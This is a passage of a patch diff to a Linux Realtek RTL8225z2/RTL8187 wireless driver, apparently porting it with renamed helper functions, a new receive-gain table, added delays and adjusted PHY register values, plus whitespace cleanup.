+ 	//0x0f5c, //14
+-	0x0f72, // 14  
++	0x0f72, // 14
+ };
+ #endif
+ 
++#if 0
+ //-
+-u16 rtl8225z2_rxgain={	
++u16 rtl8225z2_rxgain={
+ 	0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409,
+-	0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541,  
++	0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541,
+ 	0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583,
+-	0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 
++	0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644,
+ 	0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688,
+ 	0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745,
+ 	0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789,
+ 	0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793,
+-	0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d,  
+-	0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9,  
+-	0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3,  
++	0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d,
++	0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9,
++	0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3,
+ 	0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb
+ 
+ };
++#else
++u16 rtl8225z2_rxgain={
++        0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009,
++	0x000a,	0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141,
++        0x0142,	0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183,
++	0x0184,	0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244,
++	0x0245,	0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288,
++        0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345,
++	0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389,
++	0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393,
++	0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d,
++	0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9,
++	0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3,
++	0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb
++};
++#endif
+ 
+ //2005.11.16,
+ u8 ZEBRA2_CCK_OFDM_GAIN_SETTING={
+@@ -129,23 +146,30 @@
+ void rtl8225z2_set_gain(struct net_device *dev, short gain)
+ {
+ 	u8* rtl8225_gain;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	u8 mode = priv->ieee80211->mode;
+-	
+-	if(mode == IEEE_B || mode == IEEE_G)
++
++	if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) {
++		//printk(KERN_WARNING "mode ag!\n");
+ 		rtl8225_gain = rtl8225z2_gain_bg;
+-	else
++	} else {
+ 		rtl8225_gain = rtl8225z2_gain_a;
+-		
++		//printk(KERN_WARNING "mode a!\n");
++	}
++
+ 	//write_phy_ofdm(dev, 0x0d, rtl8225_gaingain * 3);
+ 	//write_phy_ofdm(dev, 0x19, rtl8225_gaingain * 3 + 1);
+ 	//write_phy_ofdm(dev, 0x1b, rtl8225_gaingain * 3 + 2);
+         //2005.11.17, by ch-hsu
+         write_phy_ofdm(dev, 0x0b, rtl8225_gaingain * 3);
++	mdelay(1);
+         write_phy_ofdm(dev, 0x1b, rtl8225_gaingain * 3 + 1);
++	mdelay(1);
+         write_phy_ofdm(dev, 0x1d, rtl8225_gaingain * 3 + 2);
+-	write_phy_ofdm(dev, 0x21, 0x37);
++	mdelay(1);
++	write_phy_ofdm(dev, 0x21, 0x17);
++	mdelay(1);
+ 
+ }
+ 
+@@ -153,33 +177,33 @@
+ 
+ void rtl8225_set_gain(struct net_device *dev, short gain)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON);
+-	
++
+ 	if(priv->card_8185 == 2)
+ 		write_phy_ofdm(dev, 0x21, 0x27);
+ 	else
+ 		write_phy_ofdm(dev, 0x21, 0x37);
+-		
++
+ 	write_phy_ofdm(dev, 0x25, 0x20);
+ 	write_phy_ofdm(dev, 0x11, 0x6);
+-	
++
+ 	if(priv->card_8185 == 1 && priv->card_8185_Bversion)
+ 		write_phy_ofdm(dev, 0x27, 0x8);
+ 	else
+ 		write_phy_ofdm(dev, 0x27, 0x88);
+-		
++
+ 	write_phy_ofdm(dev, 0x14, 0);
+ 	write_phy_ofdm(dev, 0x16, 0);
+ 	write_phy_ofdm(dev, 0x15, 0x40);
+ 	write_phy_ofdm(dev, 0x17, 0x40);
+-	
++
+ 	write_phy_ofdm(dev, 0x0d, rtl8225_gaingain * 4);
+ 	write_phy_ofdm(dev, 0x23, rtl8225_gaingain * 4 + 1);
+ 	write_phy_ofdm(dev, 0x1b, rtl8225_gaingain * 4 + 2);
+ 	write_phy_ofdm(dev, 0x1d, rtl8225_gaingain * 4 + 3);
+-	//rtl8225_set_gain_usb(dev, gain);	
++	//rtl8225_set_gain_usb(dev, gain);
+ }
+ #endif
+ 
+@@ -193,7 +217,7 @@
+ //	ThreeWireReg tdata;
+ 	int i;
+ 	short bit, rw;
+-	
++
+ 	u8 wLength = 6;
+ 	u8 rLength = 12;
+ 	u8 low2high = 0;
+@@ -207,20 +231,20 @@
+ 
+ 	dataRead = 0;
+ 
+-	oval &= ~0xf; 
++	oval &= ~0xf;
+ 
+ 	write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4);
+ 
+ 	write_nic_word(dev, RFPinsOutput, oval ); udelay(5);
+-	
++
+ 	rw = 0;
+-	
++
+ 	mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1));
+ 	for(i = 0; i < wLength/2; i++)
+ 	{
+ 		bit = ((data2Write&mask) != 0) ? 1 : 0;
+ 		write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1);
+-		
++
+ 		write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2);
+ 		write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2);
+ 
+@@ -233,9 +257,9 @@
+ 			write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2);
+ 			break;
+ 		}
+-		
++
+ 		bit = ((data2Write&mask) != 0) ? 1: 0;
+-		
++
+ 		write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2);
+ 		write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2);
+ 
+@@ -252,22 +276,22 @@
+ 	for(i = 0; i < rLength; i++)
+ 	{
+ 		write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1);
+-		
++
+ 		write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2);
+ 		write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2);
+ 		write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2);
+ 		tmp = read_nic_word(dev, RFPinsInput);
+-		
++
+ 		dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0);
+ 
+ 		write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2);
+ 
+ 		mask = (low2high) ? (mask<<1) : (mask>>1);
+ 	}
+-	
++
+ 	write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2);
+ 
+-	write_nic_word(dev, RFPinsEnable, oval2);   
++	write_nic_word(dev, RFPinsEnable, oval2);
+ 	write_nic_word(dev, RFPinsSelect, oval3);   // Set To SW Switch
+ 	write_nic_word(dev, RFPinsOutput, 0x3a0);
+ 
+@@ -280,61 +304,61 @@
+ 	u16 out,select;
+ 	u8 bit;
+ 	u32 bangdata = (data << 4) | (adr & 0xf);
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	out = read_nic_word(dev, RFPinsOutput) & 0xfff3;
+-		
++
+ 	write_nic_word(dev,RFPinsEnable,
+ 		(read_nic_word(dev,RFPinsEnable) | 0x7));
+-	
++
+ 	select = read_nic_word(dev, RFPinsSelect);
+-	
+-	write_nic_word(dev, RFPinsSelect, select | 0x7 | 
++
++	write_nic_word(dev, RFPinsSelect, select | 0x7 |
+ 		((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO));
+-	
++
+ 	force_pci_posting(dev);
+ 	udelay(10);
+-	
++
+ 	write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff);
+-	
++
+ 	force_pci_posting(dev);
+ 	udelay(2);
+-	
++
+ 	write_nic_word(dev, RFPinsOutput, out);
+-	
++
+ 	force_pci_posting(dev);
+ 	udelay(10);
+-	
+-	
++
++
+ 	for(i=15; i>=0;i--){
+-	
++
+ 		bit = (bangdata & (1<<i)) >> i;
+-		
++
+ 		write_nic_word(dev, RFPinsOutput, bit | out);
+-		
++
+ 		write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK);
+ 		write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK);
+ 
+ 		i--;
+ 		bit = (bangdata & (1<<i)) >> i;
+-		
++
+ 		write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK);
+ 		write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK);
+ 
+ 		write_nic_word(dev, RFPinsOutput, bit | out);
+ 
+ 	}
+-	
++
+ 	write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN);
+-	
++
+ 	force_pci_posting(dev);
+ 	udelay(10);
+ 
+-	write_nic_word(dev, RFPinsOutput, out | 
++	write_nic_word(dev, RFPinsOutput, out |
+ 		((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN));
+ 
+-	write_nic_word(dev, RFPinsSelect, select | 
+-		((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO));	
++	write_nic_word(dev, RFPinsSelect, select |
++		((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO));
+ 
+ 	if(priv->card_type == USB)
+ 		mdelay(2);
+@@ -348,30 +372,30 @@
+ 	short vz2 = 1;
+ 	/* sw to reg pg 1 */
+ 	write_rtl8225(dev, 0, 0x1b7);
+-	
++
+ 	/* reg 8 pg 1 = 23*/
+ 	if( read_rtl8225(dev, 8) != 0x588)
+ 		vz2 = 0;
+-	
+-	else	/* reg 9 pg 1 = 24 */ 
++
++	else	/* reg 9 pg 1 = 24 */
+ 		if( read_rtl8225(dev, 9) != 0x700)
+ 			vz2 = 0;
+-	
+-	/* sw back to pg 0 */	
++
++	/* sw back to pg 0 */
+ 	write_rtl8225(dev, 0, 0xb7);
+ 
+ 	return vz2;
+-	
++
+ }
+ 
+ #if 0
+ void rtl8225_rf_close(struct net_device *dev)
+ {
+-	write_rtl8225(dev, 0x4, 0x1f);   
+-	
++	write_rtl8225(dev, 0x4, 0x1f);
++
+ 	force_pci_posting(dev);
+ 	mdelay(1);
+-	
++
+ 	rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF);
+ 	rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF);
+ }
+@@ -380,24 +404,24 @@
+ short rtl8225_rf_set_sens(struct net_device *dev, short sens)
+ {
+ 	if (sens <0 || sens > 6) return -1;
+-	
++
+ 	if(sens > 4)
+ 		write_rtl8225(dev, 0x0c, 0x850);
+-	else	
++	else
+ 		write_rtl8225(dev, 0x0c, 0x50);
+ 
+ 	sens= 6-sens;
+ 	rtl8225_set_gain(dev, sens);
+-	
++
+ 	write_phy_cck(dev, 0x41, rtl8225_thresholdsens);
+ 	return 0;
+-	
++
+ }
+ #endif
+ void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ //	int GainIdx;
+ //	int GainSetting;
+ 	int i;
+@@ -406,44 +430,47 @@
+ 	u8 max_cck_power_level;
+ 	//u8 min_cck_power_level;
+ 	u8 max_ofdm_power_level;
+-	u8 min_ofdm_power_level;	
++	u8 min_ofdm_power_level;
+ 	u8 cck_power_level = 0xff & priv->chtxpwrch;
+ 	u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdmch;
+-	
+-		
++
++
+ 	max_cck_power_level = 15;
+ 	//min_cck_power_level = 0;
+ 	max_ofdm_power_level = 25; //  12 -> 25
+ 	min_ofdm_power_level = 10;
+-	
++
+ 	/* CCK power setting */
+ 	if(cck_power_level > max_cck_power_level)
++	{
+ 		cck_power_level = max_cck_power_level;
+-	
++		priv->chtxpwrch = max_cck_power_level;
++	}
++
+ 	cck_power_level += priv->cck_txpwr_base;
+-	
++
+ 	if(cck_power_level > 35)
+ 		cck_power_level = 35;
+-		
+-	if(ch == 14) 
++
++	if(ch == 14)
+ 		cck_power_table = rtl8225z2_tx_power_cck_ch14;
+-	else 
++	else
+ 		cck_power_table = rtl8225z2_tx_power_cck;
+-	
+-	
++
++
+ 	for(i=0;i<8;i++){
+-	
++
+ 		power = cck_power_tablei;
+ 		write_phy_cck(dev, 0x44 + i, power);
+ 	}
+-	
++
+ 	//write_nic_byte(dev, TX_GAIN_CCK, power);
+ 	//2005.11.17,
+ 	write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTINGcck_power_level);
+-	
++
+ 	force_pci_posting(dev);
+ 	mdelay(1);
+-	
++
+ 	/* OFDM power setting */
+ //  Old:
+ //	if(ofdm_power_level > max_ofdm_power_level)
+@@ -454,26 +481,26 @@
+ 		ofdm_power_level = max_ofdm_power_level;
+ 	else
+ 		ofdm_power_level += min_ofdm_power_level;
+-	
++
+ 	ofdm_power_level += priv->ofdm_txpwr_base;
+-		
++
+ 	if(ofdm_power_level > 35)
+ 		ofdm_power_level = 35;
+-	
++
+ 	rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON);
+-		
++
+ 	write_phy_ofdm(dev,2,0x42);
+ 	write_phy_ofdm(dev,5,0);
+ 	write_phy_ofdm(dev,6,0x40);
+ 	write_phy_ofdm(dev,7,0);
+-	write_phy_ofdm(dev,8,0x40);	
+-	
++	write_phy_ofdm(dev,8,0x40);
++
+ 
+ 	//write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level);
+ 	//2005.11.17,
+         write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTINGofdm_power_level);
+ 
+-	
++
+ 	force_pci_posting(dev);
+ 	mdelay(1);
+ 	//write_nic_byte(dev, TX_AGC_CONTROL,4);
+@@ -483,39 +510,39 @@
+ void rtl8225_set_mode(struct net_device *dev, short modeb)
+ {
+ 	write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40));
+-	write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40));	
++	write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40));
+ }
+ #endif
+ 
+ void rtl8225z2_rf_set_chan(struct net_device *dev, short ch)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	short gset = (priv->ieee80211->state == IEEE80211_LINKED &&
+-		ieee80211_is_54g(priv->ieee80211->current_network)) ||
++		ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) ||
+ 		priv->ieee80211->iw_mode == IW_MODE_MONITOR;
+-	
++
+ 	rtl8225z2_SetTXPowerLevel(dev, ch);
+-	
++
+ 	write_rtl8225(dev, 0x7, rtl8225_chanch);
+-	
++
+ 	force_pci_posting(dev);
+ 	mdelay(10);
+-	
++
+ 	write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22
+-	
++
+ 	if(gset)
+-		write_nic_byte(dev,DIFS,20); //DIFS: 20 
++		write_nic_byte(dev,DIFS,20); //DIFS: 20
+ 	else
+-		write_nic_byte(dev,DIFS,0x24); //DIFS: 36 
+-	
++		write_nic_byte(dev,DIFS,0x24); //DIFS: 36
++
+ 	if(priv->ieee80211->state == IEEE80211_LINKED &&
+-		ieee80211_is_shortslot(priv->ieee80211->current_network))
++		ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network))
+ 		write_nic_byte(dev,SLOT,0x9); //SLOT: 9
+-		
++
+ 	else
+ 		write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14)
+-		
+-	
++
++
+ 	if(gset){
+ 		write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B)
+ 		write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37
+@@ -529,68 +556,68 @@
+ 
+ }
+ #if 0
+-void rtl8225_host_pci_init(struct net_device *dev) 
++void rtl8225_host_pci_init(struct net_device *dev)
+ {
+ 	write_nic_word(dev, RFPinsOutput, 0x480);
+-	
++
+ 	rtl8185_rf_pins_enable(dev);
+-	
++
+ 	//if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */
+ 	//write_nic_word(dev, RFPinsSelect, 0x88);
+ 	//else
+ 	write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */
+-	
++
+ 	write_nic_byte(dev, GP_ENABLE, 0);
+-	
++
+ 	force_pci_posting(dev);
+ 	mdelay(200);
+-	
++
+ 	write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */
+ 
+-	
++
+ }
+ 
+-void rtl8225_host_usb_init(struct net_device *dev) 
++void rtl8225_host_usb_init(struct net_device *dev)
+ {
+ 	write_nic_byte(dev,RFPinsSelect+1,0);
+ 
+ 	write_nic_byte(dev,GPIO,0);
+-	
++
+ 	write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7));
+-		
++
+ 	write_nic_byte(dev,RFPinsSelect+1,4);
+ 
+ 	write_nic_byte(dev,GPIO,0x20);
+ 
+ 	write_nic_byte(dev,GP_ENABLE,0);
+ 
+-			
+-	/* Config BB & RF */	
++
++	/* Config BB & RF */
+ 	write_nic_word(dev, RFPinsOutput, 0x80);
+ 
+ 	write_nic_word(dev, RFPinsSelect, 0x80);
+ 
+ 	write_nic_word(dev, RFPinsEnable, 0x80);
+ 
+-	
++
+ 	mdelay(100);
+ 
+-	mdelay(1000); 
++	mdelay(1000);
+ 
+ }
+ #endif
+-void rtl8225z2_rf_init(struct net_device *dev) 
++void rtl8225z2_rf_init(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int i;
+ 	short channel = 1;
+ 	u16	brsr;
+ 	u32	data,addr;
+-	
++
+ 	priv->chan = channel;
+ 
+ 	rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON);
+-	
++
+ 
+ 	if(priv->card_type == USB)
+ 		rtl8225_host_usb_init(dev);
+@@ -598,42 +625,42 @@
+ 		rtl8225_host_pci_init(dev);
+ 
+ 	write_nic_dword(dev, RF_TIMING, 0x000a8008);
+-	
++
+ 	brsr = read_nic_word(dev, BRSR);
+-	
+-	write_nic_word(dev, BRSR, 0xffff); 
++
++	write_nic_word(dev, BRSR, 0xffff);
+ 
+ 
+ 	write_nic_dword(dev, RF_PARA, 0x100044);
+-	
++
+ 	#if 1  //0->1
+ 	rtl8180_set_mode(dev, EPROM_CMD_CONFIG);
+ 	write_nic_byte(dev, CONFIG3, 0x44);
+ 	rtl8180_set_mode(dev, EPROM_CMD_NORMAL);
+ 	#endif
+-	
+-	
++
++
+ 	rtl8185_rf_pins_enable(dev);
+ 
+ //		mdelay(1000);
+ 
+ 	write_rtl8225(dev, 0x0, 0x2bf); mdelay(1);
+-	
+-	
++
++
+ 	write_rtl8225(dev, 0x1, 0xee0); mdelay(1);
+ 
+ 	write_rtl8225(dev, 0x2, 0x44d); mdelay(1);
+ 
+ 	write_rtl8225(dev, 0x3, 0x441); mdelay(1);
+ 
+-	
++
+ 	write_rtl8225(dev, 0x4, 0x8c3);mdelay(1);
+-	
+-	
+-	
++
++
++
+ 	write_rtl8225(dev, 0x5, 0xc72);mdelay(1);
+ //	}
+-	
++
+ 	write_rtl8225(dev, 0x6, 0xe6);  mdelay(1);
+ 
+ 	write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chanchannel));  mdelay(1);
+@@ -653,28 +680,28 @@
+ 
+ 	write_rtl8225(dev, 0xe, 0x2b);  mdelay(1);
+ 
+-	write_rtl8225(dev, 0xf, 0x114); 
+-	
+-	
++	write_rtl8225(dev, 0xf, 0x114);
++
++
+ 	mdelay(100);
+-	
+-	
++
++
+ 	//if(priv->card_type != USB) /* maybe not needed even for 8185 */
+-//	write_rtl8225(dev, 0x7, rtl8225_chanchannel); 
+-	
++//	write_rtl8225(dev, 0x7, rtl8225_chanchannel);
++
+ 	write_rtl8225(dev, 0x0, 0x1b7);
+-	
++
+ 	for(i=0;i<95;i++){
+ 		write_rtl8225(dev, 0x1, (u8)(i+1));
+-		
++
+ 		#if 0
+-		if(priv->phy_ver == 1) 
++		if(priv->phy_ver == 1)
+ 			/* version A */
+ 			write_rtl8225(dev, 0x2, rtl8225a_rxgaini);
+ 		else
+ 		#endif
+ 		/* version B & C & D*/
+-		
++
+ 		write_rtl8225(dev, 0x2, rtl8225z2_rxgaini);
+ 	}
+ 	write_rtl8225(dev, 0x3, 0x80);
+@@ -683,16 +710,16 @@
+ 	write_rtl8225(dev, 0x0, 0xb7);
+ 
+ 	write_rtl8225(dev, 0x2, 0xc4d);
+-	
++
+ 	if(priv->card_type == USB){
+ 	//	force_pci_posting(dev);
+ 		mdelay(200);
+-		
++
+ 		write_rtl8225(dev, 0x2, 0x44d);
+-		
++
+ 	//	force_pci_posting(dev);
+ 		mdelay(100);
+-		
++
+ 	}//End of if(priv->card_type == USB)
+ 	/* FIXME!! rtl8187 we have to check if calibrarion
+ 	 * is successful and eventually cal. again (repeat
+@@ -713,23 +740,23 @@
+                         }
+         }
+ 	//force_pci_posting(dev);
+-	
+-	mdelay(200); //200 for 8187 
+-	
+-	
++
++	mdelay(200); //200 for 8187
++
++
+ //	//if(priv->card_type != USB){
+ //		write_rtl8225(dev, 0x2, 0x44d);
+ //		write_rtl8225(dev, 0x7, rtl8225_chanchannel);
+ //		write_rtl8225(dev, 0x2, 0x47d);
+-//		
++//
+ //		force_pci_posting(dev);
+ //		mdelay(100);
+-//		
++//
+ //		write_rtl8225(dev, 0x2, 0x44d);
+ //	//}
+-	
+-	write_rtl8225(dev, 0x0, 0x2bf);   
+-	
++
++	write_rtl8225(dev, 0x0, 0x2bf);
++
+ 	if(priv->card_type != USB)
+ 		rtl8185_rf_pins_enable(dev);
+ 	//set up ZEBRA AGC table, 2005.11.17,
+@@ -744,20 +771,20 @@
+ 
+                 mdelay(1);
+         }
+-#if 0	
++#if 0
+ 	for(i=0;i<128;i++){
+ 		write_phy_ofdm(dev, 0xb, rtl8225_agci);
+-		
+-		mdelay(1); 
++
++		mdelay(1);
+ 		write_phy_ofdm(dev, 0xa, (u8)i+ 0x80);
+-	
+-		mdelay(1); 
++
++		mdelay(1);
+ 	}
+ #endif
+-		
++
+ 	force_pci_posting(dev);
+ 	mdelay(1);
+-	
++
+ 	write_phy_ofdm(dev, 0x0, 0x1); mdelay(1);
+ 	write_phy_ofdm(dev, 0x1, 0x2); mdelay(1);
+ 	write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1);
+@@ -771,20 +798,20 @@
+ 
+ 	write_phy_ofdm(dev, 0xa, 0x8); mdelay(1);
+ 
+-	//write_phy_ofdm(dev, 0x18, 0xef); 
++	//write_phy_ofdm(dev, 0x18, 0xef);
+ 	//	}
+ 	//}
+ 	write_phy_ofdm(dev, 0xb, 0x80); mdelay(1);
+ 
+ 	write_phy_ofdm(dev, 0xc, 0x1);mdelay(1);
+ 
+-	
++
+ 	//if(priv->card_type != USB)
+-	write_phy_ofdm(dev, 0xd, 0x43); 
+-		
++	write_phy_ofdm(dev, 0xd, 0x43);
++
+ 	write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1);
+ 
+-	
++
+ 	#if 0
+ 	if(priv->card_8185 == 1){
+ 		if(priv->card_8185_Bversion)
+@@ -796,17 +823,17 @@
+ 	write_phy_ofdm(dev, 0xf, 0x38);mdelay(1);
+ /*ver D & 8187*/
+ //	}
+-	
++
+ //	if(priv->card_8185 == 1 && priv->card_8185_Bversion)
+ //		write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/
+ //	else
+ 	write_phy_ofdm(dev, 0x10, 0x84);mdelay(1);
+ /*ver C & D & 8187*/
+-	
++
+ 	write_phy_ofdm(dev, 0x11, 0x07);mdelay(1);
+ /*agc resp time 700*/
+ 
+-	
++
+ //	if(priv->card_8185 == 2){
+ 	/* Ver D & 8187*/
+ 	write_phy_ofdm(dev, 0x12, 0x20);mdelay(1);
+@@ -824,47 +851,46 @@
+ 	write_phy_ofdm(dev, 0x15, 0x40); mdelay(1);
+ 	write_phy_ofdm(dev, 0x16, 0x0); mdelay(1);
+ 	write_phy_ofdm(dev, 0x17, 0x40); mdelay(1);
+-	
++
+ //	if (priv->card_type == USB)
+ //		write_phy_ofdm(dev, 0x18, 0xef);
+-	
++
+ 	write_phy_ofdm(dev, 0x18, 0xef);mdelay(1);
+- 
++
+ 
+ 	write_phy_ofdm(dev, 0x19, 0x19); mdelay(1);
+ 	write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1);
+ 	write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1);
+-	
++
+ 	write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1);
+ 
+ 	write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17,
+-	
++
+ 	write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1);
+ 
+ 	write_phy_ofdm(dev, 0x1f, 0x75);	mdelay(1);
+ 
+ //	}
+-	
++
+ 	write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1);
+ 
+ 	write_phy_ofdm(dev, 0x21, 0x17);mdelay(1);
+-	
++
+ 	write_phy_ofdm(dev, 0x22, 0x16);mdelay(1);
+ 
+ //	if(priv->card_type != USB)
+ 	write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <>
+-	
++
+ 	write_phy_ofdm(dev, 0x24, 0x46); mdelay(1);
+ 	write_phy_ofdm(dev, 0x25, 0x00); mdelay(1);
+ 	write_phy_ofdm(dev, 0x26, 0x90); mdelay(1);
+ 
+ 	write_phy_ofdm(dev, 0x27, 0x88); mdelay(1);
+ 
+-	
++
+ 	// <> Set init. gain to m74dBm.
+-	
+ 	rtl8225z2_set_gain(dev,4);
+-	
++
+ 	write_phy_cck(dev, 0x0, 0x98); mdelay(1);
+ 	write_phy_cck(dev, 0x3, 0x20); mdelay(1);
+ 	write_phy_cck(dev, 0x4, 0x7e); mdelay(1);
+@@ -875,6 +901,9 @@
+  /* Ver C & D & 8187*/
+ 
+ 	write_phy_cck(dev, 0x8, 0x2e);mdelay(1);
++	write_phy_cck(dev, 0x9, 0x11);mdelay(1);
++	write_phy_cck(dev, 0xa, 0x17);mdelay(1);
++	write_phy_cck(dev, 0xb, 0x11);mdelay(1);
+ 
+ 	write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1);
+ 	write_phy_cck(dev, 0x11, 0x88); mdelay(1);
+@@ -885,52 +914,59 @@
+ 	else
+ #endif
+ 	write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/
+-		
+-	write_phy_cck(dev, 0x19, 0x0);
+-	write_phy_cck(dev, 0x1a, 0xa0);
+-	write_phy_cck(dev, 0x1b, 0x8);
+-	write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */
+-	
+-	write_phy_cck(dev, 0x41, 0x8d);mdelay(1);
+ 
+-	
++// 	write_phy_cck(dev, 0x19, 0x0);
++// 	write_phy_cck(dev, 0x1a, 0xa0);
++// 	write_phy_cck(dev, 0x1b, 0x8);
++// 	write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */
++	write_phy_cck(dev, 0x19, 0x0); mdelay(1);
++	write_phy_cck(dev, 0x1a, 0xa0); mdelay(1);
